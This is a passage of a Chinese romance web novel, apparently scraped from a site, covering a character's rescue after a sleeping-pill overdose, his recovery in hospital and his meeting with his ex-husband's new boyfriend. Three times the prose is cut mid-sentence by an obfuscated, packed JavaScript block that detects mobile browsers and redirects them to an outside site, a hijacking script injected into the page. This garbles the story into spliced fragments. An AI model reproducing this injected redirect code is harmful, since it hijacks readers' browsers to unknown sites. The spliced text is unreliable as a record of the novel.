吵闹的人声响起,盛嘉原本逐渐飘远的意识又重新回来,他艰难地睁开眼,首先映入眼中的便是红色的头发。 看起来那么温暖、那么柔软。 盛嘉想要摸一摸,他手腕发抖,在即将触碰到的时候,又无力地垂下了手。 “盛嘉,我带你去医院,马上就没事了,你再坚持一下,好不好?” 周子斐握住那只手,将盛嘉湿冷的手放在自己肩颈处暖着,他的声音也恢复了冷静,沉稳又柔和,好像无论发生了什么事,在他看来都没什么大不了,好像他坚信,盛嘉一定会没事。 话音刚落,周子斐便要将人抱起,耳边的头发却被轻轻拽了一下,盛嘉的嘴唇动了动,他立刻低下头,却听见盛嘉说: “你……你别抱着我……我……脏……” 盛嘉说完,身子挣了一下,又张开手挡在自己身前,似乎想遮住那些伤口。 他混乱的大脑只能模糊地知道到面前是认识的人,可不知道具体是谁,所有的记忆和认知都搅和在一起,只固执地坚持着他的疤很丑,很难看,很脏。 周子斐从不知道简单的一个字就能让他心口被捅得稀巴烂,他呼吸发颤,吐出的气息不稳到险些牵连出压抑的崩溃哭声。 手臂穿过膝下,扣着人的肩膀按在自己胸膛,将怀里人稳妥抱好后,周子斐站起身。 他在盛嘉潮湿乌黑的发顶落下一个吻,声音沙哑,不再遮掩地吐露出爱意和珍惜。 “不脏。” “你是最干净的。” 大步走出卫生间,又在路过客厅时,将沙发上一件随手搭着的外套拎起,盖在盛嘉赤.裸的上半身。 外头已经是中午,烈日高悬,阳光刺眼。 盛嘉的眼睛被周子斐手指搭着,挡住了骤然亮起的光线。 而热起来的温度让盛嘉感到很暖和,在漆黑的视线中,他闭上眼睛,再次感到昏昏欲睡。 朦胧之中只知道,这个抱着自己的人,一直没有松开双臂,同时还在不断抚摸他的头发,一遍遍轻声说:“没事的,你一定会没事的。” 那种似乎被认真怜爱的感觉,令盛嘉陷入了睡意中。 梦里他先是回到那个狭小的地下室,盛千龙脸上挂着古怪的笑靠近,他缩在墙角,却避无可避。 然后,有人推开了那扇门,出口是耀眼的光亮,盛嘉好像看到了得救的希望,开始奋力朝有光的地方跑去。 一个穿着校服的身影挡在自己身前,那人留着短短的头发,他说:“再看到你们欺负盛嘉,我见一个打一个!” 那人转过头,鼻青脸肿却冲盛嘉笑了笑,问他有没有事。 再然后,盛嘉被人紧紧握着手,有人说:“盛嘉,以后我会保护你的。”,盛嘉感到前所未有的安全感,他同样拉紧了那个人的手。 他们一同向前走,突然之间,盛嘉掌心一空,上方有声音响起。 “盛嘉,和你在一起真不值。” 他抬起头,只看见余向杭压在他身上,表情嘲讽,手上动作粗暴。 盛嘉惊慌地推开余向杭,但所有的身影随之溃散,只剩他躺在黑暗中。 接着,他好像被人掐住了脖子,喉咙有强烈的异物感,胃里翻腾,不禁作呕、恶心。 盛嘉猛地睁开了眼,他正侧躺着,一个戴口罩的医生朝他的喉咙里插着一条长长的管子。 大桶的水流往管子内倒,盛嘉挣扎起来,手却被人牢牢握在掌心,他只能不断唔唔出声,眼神惶恐地盯着管子里的水来回流动。 意识逐渐模糊时,有些汗湿的手掌贴在盛嘉冰凉的额头,一个颤抖的声音在他耳边哄。 “忍一忍、忍一下宝贝,很快就好,很快!” “宝贝别怕,有人陪着你呢,我在呢,你乖乖的,医生会很轻的……” 盛嘉虚弱地缓慢眨动眼皮,头顶的灯亮着白光,一圈圈的光晕在视线内放大、收缩。 冷汗沿着额头往下流淌,晶莹的眼泪也从眼角冒出,在惨白的脸上划出一道清晰的泪痕。 他终于感到了后悔。 后悔不该吞下二十四颗安眠药。 后悔没有早点发现,余向杭在这些年已经远去,还在固执等待的人其实只剩下了他一个人。 生亦何欢,死亦何苦。 只是人世间的阳光那么温暖、那么灿烂,他还没有看够。 盛嘉捏紧了那人汗湿的手,对方同样用力地回握。 他还不想死,还不想松开这个人,他想知道他是谁。 …… “八个小时之内禁食禁水,之后只能先吃些温凉的流食,差不多三天之后才能正常进食,但最好不要吃辛辣刺激的食物。” “好的,谢谢医生,那、那如果他比较难受的话怎么办?再像刚刚洗胃的时候吐了,或者有哪里不舒服……” “像喉咙疼痛,胃部有灼热感之类的都很正常,包括犯恶心、想吐,都没什么关系,如果出现了持续高热或者有呕血的情况,再及时跟我说。” 一男一女的声音模模糊糊,随后是步伐远去的声音和轻微的关门声。 盛嘉睫毛颤了颤,接着缓缓睁开眼睛,他的眼睛十分干涩,喉咙也有难以忽视的异物感。 脚步声走近,盛嘉艰难地偏过头,是一张出乎意料又感到“果然是他”的脸。 “盛老师,你醒了?” 周子斐有些惊喜,声音就像盛嘉记忆中那样沙哑。 一头红发凌乱,眉梢皱着,凌厉的眼睛里却是发软的难过,而他上身那件短袖从胸膛一直湿到下衣摆。 盛嘉试图开口说话,却嗓子发干发燥,一个字都说不出。 “你现在还很难说话,休息最重要。” 周子斐先探手摸了摸盛嘉的额头,发现只是汗津津的温凉,才舒了口气,他拿来棉签沾了点水,涂在盛嘉发干的唇瓣上。 刚结束洗胃,盛嘉整个人都有些水肿,一张脸看起来憔悴而苍白。 周子斐怕他会感冒,又用毛巾将被水和汗浸得透湿的头发擦干,包了起来,同时盛嘉从头到脚都被被子裹得严实,他窝在病床上,只露出左手在外面打着盐水。 盛嘉的心里实在有太多的问题,例如,周子斐是怎么找过来的,又是怎么救得他,以及,周子斐那一声声宝贝。 可他太累,也太疲惫了,只不过睁开眼和周子斐打了个照面,就昏昏沉沉地再度睡了过去。 等盛嘉意识再度清醒地睁开眼,他先是看了看窗外,发现天际擦亮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219964|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泛着鱼肚白,已经是第二天的清晨了。 动了动手,吊针已经打完了,他两只手都塞在被子里,浑身暖乎乎的,嘴唇并不干燥,只是喉咙依旧有些刺痛。 然而看向室内,他的视线顿住。 这是一间很宽敞的病房,不仅有沙发、冰箱、书桌,还有一张陪护床。 周子斐一米八几的大高个正侧身躺在那张床上,纵然那床不算特别小,但睡了一个肩宽腿长的男人依旧显得狭窄,不那么令人舒适。 盛嘉心中情绪一时复杂,他久久地凝望这张年轻、俊朗的脸。 周子斐胳膊枕在脑袋下方,身上搭了被子一角,他一双浓密的剑眉微皱,上扬的眼尾发红,眼下有一圈青黑,薄唇紧紧抿着,似乎睡得不太安稳。 就在盛嘉涌出一种莫名熟悉的感觉时,周子斐若有所感地忽然睁开了眼睛,和盛嘉的视线恰好对上。 他们的目光猝不及防地撞在一起,被那双黑亮的眼眸盯住,盛嘉刚刚的感觉被打散,只愣愣地和周子斐对视。 最后还是周子斐先一步作出反应,他发现盛嘉醒后立刻站起身,揉了揉因为没休息好而有些涨痛的太阳穴,随后走近病床。 “盛老师,你有没有哪里不舒服?” 盛嘉无声地摇摇头,周子斐又拿杯子接了一杯温凉的水,插上吸管。 “来,现在已经可以进食、喝水了,你等会儿要不要吃点东西?” 周子斐将人从床上扶起,让盛嘉半靠着自己,拿着杯子递到盛嘉唇边。 盛嘉没有拒绝,他咬住吸管,顶着周子斐的目光开始喝水,然而他高估了自己的身体状况。 尽管他早已渴的不行,但一点点吞咽的动作都让他喉咙灼痛,胃部更是像揣了几块石头在里面不停翻滚,盛嘉只喝了几口便松开了吸管。 “还是难受吗?那先不吃东西了吧,你再躺着休息一下,我去问问医生有没有什么办法。” 周子斐看怀里的人才刚咬住,就压抑着呼吸松开了吸管,也不自觉地皱起了眉。 就在他要抽身离开时,盛嘉忽而轻轻拉住周子斐的衣角。 “怎么了?” 周子斐转回身,他又坐回了病床,低下头,耐心地靠近盛嘉听他说话。 只听盛嘉声音微弱地挤出一个字:“奕……” 轻叹了一口气,周子斐脸上出现无奈的笑容,他挑眉,眼里染着点点笑意。 “盛老师,你刚醒怎么就要先关注那个小家伙?” “你就放心吧,我昨天跟他解释过了,我说盛老师不太舒服,不是故意要反悔不去海洋馆的,你是男子汉,要大度,不能因为这个讨厌盛老师。” 说着,他将盛嘉的被子重新掖好,朝病床上那个眨着湿润的眼睛看自己的人,轻声开口:“盛老师还是很好的盛老师,是周佳奕心里排在爸爸妈妈之外最喜欢的人。” 周子斐的语气格外温柔,或许是因为早晨刚醒过来,他的声音沙沙的,像盛嘉家里过去那台老式收音机里的男声,带着一种妥帖的沉稳。 盛嘉敏锐地从这句话里读出了周子斐的态度,他不会对自己昨天的行为,乃至身上的伤疤,抱有任何消极的想法。 盛嘉在周子斐心里,依旧是那个“一直都很好、很特别的人”。 可周子斐,真的哪怕是一点点好奇都没有吗? 就连余向杭当初第一次看到,眼眸中都产生了半分退缩。 “盛老师,再睡会儿吧,你是病人,现在好好休息才是最重要的。” 周子斐忽然做出了一个有些出格的举动,他将手掌盖在了盛嘉的眼睛上方,那是令盛嘉无比熟悉的触感。 从掌心的热度,到细细的薄茧,以及轻柔的力度。 盛嘉陷入黑暗中,但此时他却无比想要确认身边人的存在,又或许,这一段濒死的经历让他更加需要安全感,需要一点支撑自己的温暖。 于是他不自觉地伸手向床沿摸,直到碰到周子斐搭在床边的手。 那只手动了一下,却没有挪动位置,而盛嘉也并未做多余的动作,只是指稍抵在周子斐的手背旁的皮肤上。 室内一片寂静,除了微不可闻的呼吸外,他们沉默着,没有人再说话。 周子斐的眼前还浮现着刚刚盛嘉看自己的眼神,那双总是笑盈盈的眼睛,因为虚弱而半敛着,却流露出小心翼翼的瑟缩,令他一瞬间眼眶发酸。 他难以承受盛嘉这种令人心碎的目光,但除了盖住这双失去光泽的眼睛,他别无选择。 周子斐不允许自己在盛嘉面前失控或表现出任何脆弱,他只愿意按着盛嘉的节奏,一步步慢慢来,如果肆意宣泄出那些担忧和关心,盛嘉会被吓到的。 而盛嘉此时什么都没想,他知道他和周子斐之间还有很多问题,可这一刻,除了汲取指尖触及的那一点温度外,他什么都不想去思考。 意识模糊的黑暗太可怕,沉入浴缸的水底太冰冷。 他需要一点光,一点温暖,哪怕只有一点点,也好过他一个人。 12. 还爱吗 病房门被轻轻合上,听到周子斐远去的脚步声,盛嘉睁开了眼。 他撑着还有些发软的手臂坐起身,在床头柜拿过自己的手机。 不知道是周子斐当时送他来医院时帮忙拿的,还是后来去取的,盛嘉不敢去深想。 只怕一去思考、去问,就会得到他暂时还无法处理的答案。 手机屏幕上挤满了消息,全是盛千龙发来的,盛嘉草草扫了一眼,发现都是来要钱的消息,这人似乎还去了自己的小区,却被保安直接拦在了外面。 令盛嘉意外的是,余向杭也发了几条消息: “我给你账户打了三十万,以后你和盛千龙关于钱的事别再找我了。” “欠条作废,三十万就当散伙费,你踹我的那一脚也算了。” 消息是余向杭从他家离开后的十分钟发的,似乎看盛嘉一直没回他,余向杭也有些生气了,他在昨晚又发: “盛嘉你别给脸不要脸,看到当没看到是吧?” “怎么,三十万嫌少?” “你今天不回我消息,以后就都别回了。” 现在已经是“今天”后的第二天中午了,而余向杭在这之后再也没发过消息。 如果在两天前,或许盛嘉会分外着急,不停地向余向杭解释,心里同样感到被刺痛。 但此时,他却什么感觉也没有,只是忽然觉得好疲惫。 如今盛嘉不愿意欠余向杭任何东西。 他们过去是爱人,是一个家庭,也没什么所谓欠不欠的,所有的努力都是为了能有一个更好的家。 可从两个月前开始,他们只是毫无关系的陌生人,余向杭实在没必要这样做,更何况盛千龙还去余向杭公司闹了一通,想必也给人惹了点麻烦。 盛嘉这样想着,就要给余向杭回消息,想将这三十万转回去,却只收到了一个鲜红的感叹号。 余向杭把他拉黑了,这还是第一次。 及肩黑发缓缓落下来,挡住盛嘉的侧脸,他愣愣地看着那个红色的感叹号。 本以为会流泪又或是心痛,却再一次毫无所感,好像一切都在盛嘉的预料之中。 很快,盛嘉从那种怔愣中脱身而出,他冷静地点开支付app,通过那里的渠道将钱给余向杭转了回去,向余向杭郑重地道歉,保证不会再让盛千龙去打扰他。 还有照片的事…… 他告诉余向杭他很抱歉,他并不知道有这张照片,如果余向杭需要任何补偿,可以随时跟他说。 这些话还没说完,盛嘉发现他又被拉黑了。 大概余向杭这次真的被他惹恼,但盛嘉想,钱转了回去,他的态度也明明白白地告诉了余向杭,所以他已经不需要想着办法去求得余向杭的谅解。 像余向杭所说的,离他的生活远一点,才是自己应该做的事。 盛嘉看着手机壁纸的二人合照,好像忽然意识到什么,他点开设置,换上了一张黄昏天空的照片,那是有一天陪周佳奕在幼儿园等周子斐来时拍的照片。 他又点开图库,开始一张张删照片,就在删到最早的大学毕业合照时,他犹豫了一下,手指轻轻拂过穿着学士服的两个人,他点开“彻底删除”,却迟迟无法按下去。 门被轻轻推开,周子斐惊讶的声音随即响起:“盛老师,你醒了?” 盛嘉手一抖,他和余向杭的最后一张合照也被删了个干净。 心里还没来得及作出反应,盛嘉便放下了手机,所有注意力都被周子斐所吸引,准确地说,是被他手上的袋子所吸引。 里面飘出淡淡的香气,这对饿了一天外加一上午的盛嘉来说,实在太有诱惑力了。 周子斐看到盛嘉一瞬间亮起来、紧紧盯着袋子的眼神,不自觉地笑起来。 真像饿久了嘴馋的小猫。 他走到病床边,将袋子放在一边,故作不解地问:“盛老师你这么盯着我干什么?” 盛嘉不好意思说他饿了,只能不说话,目光先是看了一眼袋子,又移到周子斐脸上,努力暗示自己想吃东西。 但对上周子斐的眼神,他又忽而脸热,只好匆匆转移视线。 就在周子斐还要逗几句时,盛嘉的肚子发出一道轻微的“咕”声。 这一声,打断了周子斐要说的话。 而盛嘉苍白的脸上也飘起红,他下意识捂住肚子,慌张地垂下眼睛,睫毛不停颤动。 太没出息了! 早知道就大大方方地说自己饿了! 盛嘉羞得恨不得当场钻到被子里躲起来,坐在床上感到十分不安,却四肢僵硬不敢动。 周子斐没忍住轻笑一声,但他没有借此说什么,只是边解开袋子边说:“给盛老师带了点熬得很稀的米粥,特意晾凉了才带过来的。” 说着说着,他打开饭盒,又问:“也不知道盛老师饿不饿,愿不愿意尝尝?” 一柄木勺递到盛嘉眼前,他缓缓抬起头,周子斐正一手端着带有两个把手圆形饭盒,眉眼带笑地看他。 周子斐没有主动说要喂他,也没有问他饿了怎么不早说要吃东西,只是递过勺子和饭盒,询问自己愿不愿意尝尝这碗特意带过来的粥。 盛嘉心中又浮现出那种奇特的感觉,明明周子斐的年纪比他小很多,却更像一个哥哥,总在方方面面照顾他的感受。 “嗯……谢谢你,子斐。” 接过饭盒和勺子,盛嘉慢慢地吃着这碗温凉又香气四溢的米粥,而周子斐就坐在他旁边一下一下地划拉手机,但他能察觉到周子斐时不时投过来的关切目光。 这令盛嘉整个人似乎被一种很柔软的暖意包裹,让他很想和周子斐说些什么。 可他贫瘠又单薄的生活并未有什么值得和人聊的,这让盛嘉莫名感到泄气,勺子搅动几下,心情也低落起来。 “盛老师现在还难受吗?” “不难受了。” “粥好吃吗?” “很好吃……” “那盛老师怎么突然不太开心的样子?” “……” 盛嘉没有想到周子斐会这么敏锐,又或者这个人一直这么敏锐,只是自己因为这两天的事,才意识到这一点? “我……我想和你聊聊天,但不知道该说什么。” 盛嘉迟疑片刻,还是坦诚交代。 周子斐一愣,视线落在盛嘉吃得干干净净的饭盒上,竟选择先接过了饭盒和勺子。 在无声中将勺子放好,饭盒盖上,袋子重新系好,周子斐才缓慢开口:“随便说什么都可以啊,盛老师说什么我都乐意听的。” “我、我比较无聊,平时也很少和人聊天……” 盛嘉声音很小,非常不好意思地表明了自己的笨拙和孤僻。 “越是很少和人聊天才越要多聊,不然憋在心里的那些悲伤、愤怒,总有一天会伤到自己的。” 周子斐转过身和盛嘉面对面,那双形状有点凶的眼睛此刻目光沉着,同时又很柔和。 盛嘉没有躲开周子斐的目光,看着这个人,他福至心灵地意识到: 这个人在关心我,因为我做出的傻事,在隐秘地关心我。 他想知道我为什么要这么做,却又怕会伤到我,于是只好小心翼翼地关心。 而被一个人这样注视着,你很难不为自己所遭受的难过感到委屈。 盛嘉同样做不到。 “那天,我前夫来找我了,他……” “他说了一些让我很伤心的话,本来我以为离婚这么长时间,我已经不在意了,可是他出现后,我发现我还是会感到很伤心。” 说到这里,盛嘉语气变得自嘲起来:“我是不是很可笑,离婚后他很快有了新欢,只有我还恋恋不舍,甚至他骂我,我有一瞬间还在想我们有没有可能和好。” “不,盛嘉,这只能说明你是一个重感情的人,你爱得远比那个人要认真,这不可笑。” 周子斐又叫回了盛嘉,让盛嘉仿佛回到那个黄昏。 似乎每一次周子斐在他说些自我贬低的话时,都会无比认真地叫他的名字,告诉他不是这样。 就好像这件事非常重要,需要用非常郑重的态度来回复。 “这一点儿也不可笑,你有这么宝贵的爱,是伤你心的人不够好。” 周子斐往前坐了一点,他认真地注视着盛嘉的眼睛强调。 盛嘉笑起来,眉尾向下,眼睛却幅度很小地翘起来,他问:“是吗?” “我一直觉得是我不好,因为我不值得被人永远珍爱,所以最后才会被抛弃。” 周子斐脸侧肌肉难以自制地跳动了一下,他因心疼而无法控制自己的表情,可他还是忍住了。 “你怎么会不值得……盛嘉,你的一生还很长,怎么能因为遇见一个糟糕的人,就认为自己不值得被人珍爱?” “或许以后还会有更好的人,或许对方一直在等你。” 这句话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他是赛车手啊,是踩下油门就不会停下直至穿过终点线的赛车手,他该做的是横冲直撞,并且是毫无保留地撞进面前这个人的心里。 于是周子斐问:“那你还爱他吗?” 每一次看见盛嘉发呆或是莫名伤感的神情,他都想要问: 你在想念某个人吗?你在回忆和余向杭的过去吗? 他想知道盛嘉是否还爱余向杭,是否有可能在那颗宝贵真心里腾出新的位置让他能够填补上。 盛嘉被这个突如其来的问题问得一愣,他没有说话,只是垂首沉默地看着自己搭在被子上的手,似乎那上面有他的答案。 还爱吗? 盛嘉扪心自问,十年情感不是说抹去就能抹去的,但他也是真的…… 不想再爱了。 四年恋爱,六年婚姻,换来的是一朝出.轨和无可挽回的离婚。 余向杭和他,一人情人在侧,一人自伤濒死,还能爱得动吗? 但…… 不管怎么说,至少他们曾相爱过。 那个梦境就是他过往的人生,余向杭将他拉出了黑暗,他也在余向杭的身后感受到片刻明亮和温暖。 尽管余向杭又将他推入深渊,让他再一次感受到孤苦无依的痛苦,但至少那些年的爱是真的。 可也就是因为爱过,放手才是最好的解脱。 余向杭给过盛嘉的那些温柔和关心,盛嘉依旧会一辈子感谢他。 如果没有余向杭那时的帮助,或许盛嘉也不会好好地长大,变成现在的盛嘉了。 然而时至今日,所有的情感也只能止步于此,爱不爱这件事,对盛嘉以及余向杭来说,都已经不再重要了。 在周子斐将昏迷的他从浴缸里捞起,在他吞下的那些药片被呕出时,他想他还是更愿意选择放过自己,将曾经只留在曾经。 两人之间寂静许久,就在周子斐想要转移话题之际,盛嘉忽然抬起了头。 迎着正午的阳光,尘埃在空气中缓慢地浮动,而他对周子斐浅浅一笑。 这个笑容在盛嘉尚且苍白憔悴的脸上,出乎意料地展露出了一点鲜明动人。 周子斐只听盛嘉声音柔和地说: “应该……也不会了。” 生命中属于余向杭的那一页,盛嘉已经决定翻过去。 13. 第三者 “真的不用再住几天吗?” “已经没什么事了,早点出院回家休息也可以的。” 盛嘉还是赶在周一前办理了出院,周子斐看起来不太赞同,但也没有阻拦。 “走吧,我送盛老师回去。” 周子斐是开车来的,他一边倒车,一边还在絮絮叨叨地叮嘱盛嘉有什么不舒服的一定要告诉他,最好周一还是在幼儿园那边请个假。 盛嘉双手放在膝盖上,坐得端正,乖乖点头,表示周一会在家休息。 “对了子斐,你垫的费用记得发给我,我把钱转给你。” “好,等我到家了就发给你。” 周子斐并未回绝,那天他已经想到了盛嘉会要还钱,于是特意在医院缴费的时候帮入住普通病房的人付钱,存下了并不属于盛嘉所住的高级病房的支付记录。 就在这时盛嘉的手机响了起来,他拿起一看发现是一个陌生的好友申请。 对方的申请里写着“余向杭朋友”。 盛嘉的眉头皱起来,考虑到之前盛千龙的事,他还是点了通过。 刚刚通过,对方便主动发来了消息: “盛先生,你好。” “我是余向杭的男朋友,最近有空吗,我想和你聊聊。” 车子停在小区楼下,周子斐转过头发现盛嘉正握着手机一动不动。 “盛老师,怎么了?” 担心的声音从身畔响起,盛嘉猛地回过神,他茫然地抬头看向周子斐。 周子斐见他这幅失魂落魄的样子,语气放得更轻:“出什么事了?” “他……我前夫的男朋友想见我……” 盛嘉讷讷出声。 他的记忆再次被拽回那个蝉鸣不断的闷热傍晚,房间里的暧昧声响,还有匆匆一瞥下穿着白球鞋、年轻高大的男人。 “盛老师?” “盛嘉,盛嘉!” 肩头传来温暖的力度,盛嘉一眨眼回过神,周子斐的面容近在咫尺。 见盛嘉视线凝聚,重新落在自己的脸上,周子斐缓缓松开手,他握住盛嘉的手腕,将对方一直举着手机不动的手拉下。 “如果你不想去,就拒绝他,没有他想见你,你就必须去见他的道理。” “你们已经离婚了,前夫的现任也只是一个和你无关的人,盛老师你不用理会他。” 周子斐的声音让盛嘉滞涩的大脑重新转动,他握紧手,垂下视线,心中思索片刻,还是说: “我想去。” 对于所谓第三者,说毫不在意只不过是遮掩。 盛嘉想知道对方是一个什么样的人。 这并非是他还对余向杭的事抱有留恋,他只是…… 有那么一点点好奇,一点点不甘心。 是什么样的人会让十年感情说散就散,又是什么样的爱情,能打动盛嘉过去,深信会和他永远相爱的余向杭。 盛嘉曾经不敢和那个人碰面,但现在他已经有勇气去面对这段失败的婚姻。 他不害怕失败,他只害怕自己还对余向杭留有旧情,他只想确认自己是否真的已经放下。 说来说去,也无非是想彻底死心。 “好,你们约了时间和地点吗?” “到时候我陪盛老师一起去吧,我不会打扰你们的,我就在附近等你,如果盛老师遇到麻烦了,这样我也好帮你。” 周子斐从不阻止盛嘉做任何事,哪怕他知道盛嘉可能会受伤,他也不会阻止。 盛嘉的人生是属于盛嘉自己的,只要是他想做的事,就去做好了,就算结果不好,周子斐也有底气替盛嘉收场。 这世间除了生死,都是小事。 他爱盛嘉,但他绝不会将这个人只庇佑在自己的保护之下,如果盛嘉自己想去淋雨、摔倒,就让盛嘉去吧。 盛嘉只是看起来像脆弱的瓷器,实际上,周子斐清楚他是块历经苦难的璞玉。 “你、你陪我吗?” “嗯,你就当我是你的司机兼职拎包小弟,放心吧盛老师,我会比周佳奕还乖的,绝不打扰你。” 周子斐眉梢带笑看向盛嘉,他的语气轻飘飘的,好像这只是件小事,就跟送盛嘉从超市到家一样简单。 盛嘉还是没有拗过周子斐,但他原本沉重的心情也放松了下来。 自从两天前周子斐救了他,他就再也没办法对这个人客气起来。 或许是因为周子斐已经见过他最狼狈的模样,于是之后无论发生什么事,盛嘉都能放心地袒露自己的软弱。 盛嘉和对面那个自称“陈先生”的人约了周一上午见面,对方似乎并不是上班族,工作日时间也十分清闲。 到了约定的时间,盛嘉走出家门,本以为自己会有点紧张,但他现在只是在想周子斐今天会给自己带什么早点。 昨晚他们告别时,周子斐便主动说他会在早上给盛嘉带早饭,让盛嘉这个病人多休息会,于是盛嘉也就答应了下来。 其实盛嘉心里隐隐感觉到周子斐的一系列举动,早已超出了朋友的范畴,但他实在没有处理过这种情况,还在找合适的时机和周子斐聊一聊。 “吃好了吗?要不要休息下,我们再过去?” 周子斐将饭盒收好,又递纸给盛嘉,看盛嘉收拾妥当才开口询问。 “不用了,现在就过去吧。” 盛嘉后知后觉地有点紧张起来,他深呼吸几口气,正襟危坐地目视前方。 “盛老师,别着急,安全带总得先系好吧。” 淡淡的男士香水味从鼻尖传来,一只手臂横贯在胸前,盛嘉下意识地往后靠。 周子斐侧着脸俯身靠近,他的头发扫在盛嘉下巴上,带来轻微的痒意。 盛嘉不自觉屏住呼吸,手指扣住座椅垫,视线落在周子斐的发顶。 心跳有加快的趋势,但好在伴随“咔哒”一声,周子斐的体温和气息很快撤远,盛嘉身边只留下了一点柑橘调的淡香。 “好了,我们出发吧。” 周子斐的声音响起,盛嘉默默点头,手掌覆盖上左边胸膛,那里正一下一下地急促撞击着他的掌心。 …… 陈乐康如愿见到了那个男人,第一眼他甚至觉得自己认错了。 因为对方看起来并不像余向杭所说的那么糟糕,如果非要让他评价的话,更像是一位弱不禁风的病美人。 盛嘉皮肤很白,头发乌黑,五官小巧秀丽,一双眼睛弯弯的,自带笑意。 陈乐康总觉得对方长相有点眼熟,但还未细想,盛嘉便已经来到了面前。 “你好,陈先生。” 盛嘉声音柔和,他没有丝毫的怨愤,一切表现都非常平静。 陈乐康一时不知道该说什么,盛嘉和他想象中的样子实在差别太大了。 半天过去,在盛嘉面上疑惑地看着他时,陈乐康终于开口了。 “我知道杭杭那天去找你了。” “我看了他的手机,和他大吵一架,后来想想,还是决定过来见你。” 啪—— 有杯子掉在地上发出破裂声,陈乐康看向他们侧后方那一桌,一个红发男人摔了手上的杯子,脸色黑沉。 陈乐康不太在意地转回了视线,却发现,盛嘉竟有些担忧地看了几眼,甚至还站起身叫服务员赶快过去看看。 “盛先生平时似乎很热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219966|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心善良?” 等盛嘉重新坐好,陈乐康语气莫名地问。 盛嘉一心二用,还在想周子斐有没有被烫到,听到陈乐康的问题,只默默回答:“也不是。” 陈乐康点点头,再次端详面前的人,又问:“盛先生不好奇我为什么今天约你出来见面吗?” 对上陈乐康略带玩味的眼神,盛嘉想了想,随后回答:“我跟余向杭离婚离得很彻底,我们也不会复合。” 陈乐康噗嗤一声笑起来,他摇摇头,笑着开口:“我不是为了这个来找你的,我只是好奇余向杭口中那个原配是什么样。” “当初我追他的时候,他可是拒绝了我好久,说他有个非常爱的丈夫,绝不会背叛对方。” 盛嘉无言,对于这样的话,他没有丝毫的感觉。 见到陈乐康后,盛嘉的第一想法是“原来长这样啊”,随后,什么想法也没了。 甚至是愤怒的感觉也没有,他的内心并非麻木,而是彻底的平静。 “盛先生打算一直这样沉默,不说话吗?” “既然不愿意和我聊天,为什么还要答应见面?” 陈乐康也有些恼了,他发现盛嘉全程都是低垂着眼睛搅动杯子里的吸管,那张柔和的脸蛋没有任何动容的神情。 除了刚刚那个红发男人摔了杯子,盛嘉露出了一点担心的眼神,其余时候,他都古井无波地坐着。 就在陈乐康以为盛嘉要一直不说话时,盛嘉开口了。 “陈先生,我答应和你见面的目的已经达到了,所以我确实没什么话要和你聊。” “和余向杭的那段婚姻我已经放下了,余向杭想必也不在意了,你作为余向杭现在的爱人,也没必要纠结这点。” “我们不熟,我也不觉得原配和第三者有什么可以愉快聊天的理由,如果你认为我们能聊得很开心,那你才是想错了。” 盛嘉声音柔柔的,但在说这些话时,他的语气难得有几分锋利。 陈乐康只见面前一直低垂着视线的人,忽然抬起了头。 那双眼睛弯了弯,淡色的唇也轻轻上扬,盛嘉将颊边黑发别到耳后,随后站起了身。 他居高临下地俯视陈乐康,依旧细声细语地说:“你和余向杭之间的事我不会干涉,毕竟现在他对我来说只是一个陌生人,你对我来说,同样只是一个陌生人。” “和陌生人没什么好聊的,所以我也不说再见了,先走一步。” 陈乐康还没反应过来,盛嘉已经走远,推开了咖啡厅的门,他看起来毫不留恋,似乎觉得今天的见面很没意思。 莫名地,陈乐康觉得自己输了。 不是在余向杭这件事上输了,而是在态度上输了。 他用心打扮,开场强硬,但盛嘉穿着米色的长袖长裤,散着头发就来了,说起话也柔和轻缓,全程淡定到陈乐康觉得自己过于用力。 盛嘉的态度那么平静,他的人生好像早已经进入了下一段旅途,步入新的开阔大道,而陈乐康如此自诩强势,却还陷于这一段不光彩的亲密关系。 陈乐康的视线落在盛嘉刚刚的座位上,半晌,他幽幽道:“余向杭,你眼光不太好啊,竟然和这样的人离婚了。” 他走向收银台准备结账,发现连账单都被提前结过了,颇有些不甘心地走出了咖啡厅。 其实对于余向杭他最近早已腻了,本想见见余向杭那个所谓“没有一点魅力的丈夫”,满足一下自己的好奇心,再和对方分手。 但今天和盛嘉的见面,让他忽然又想晚点和余向杭分手了。 陈乐康还想知道有关盛嘉的更多事,他对这个从前不太看得起的男人产生了浓厚的兴趣。 14. 自由 回到家后,盛嘉疲惫地靠在沙发上,指尖还在紧张地轻颤。 他不擅长处理自己的情绪,只是见陈乐康在自己面前一副自得又无所谓的模样,心中还是生出了几分厌烦和不耐。 这对盛嘉来说是极其少见的,一直以来,他习惯包容别人的一切负面想法。 但或许周子斐在他们见面之前所说的话,还是让他坚冰一般严防死守的内心被撬开了一个口子,那些郁气不自觉地溢出,促使他甩下几句称得上尖锐的话。 而走出咖啡厅后,盛嘉才发现,原来这么简单。 原来与余向杭有关的一切,他也可以轻易做到无视和不在意。 嗡嗡。 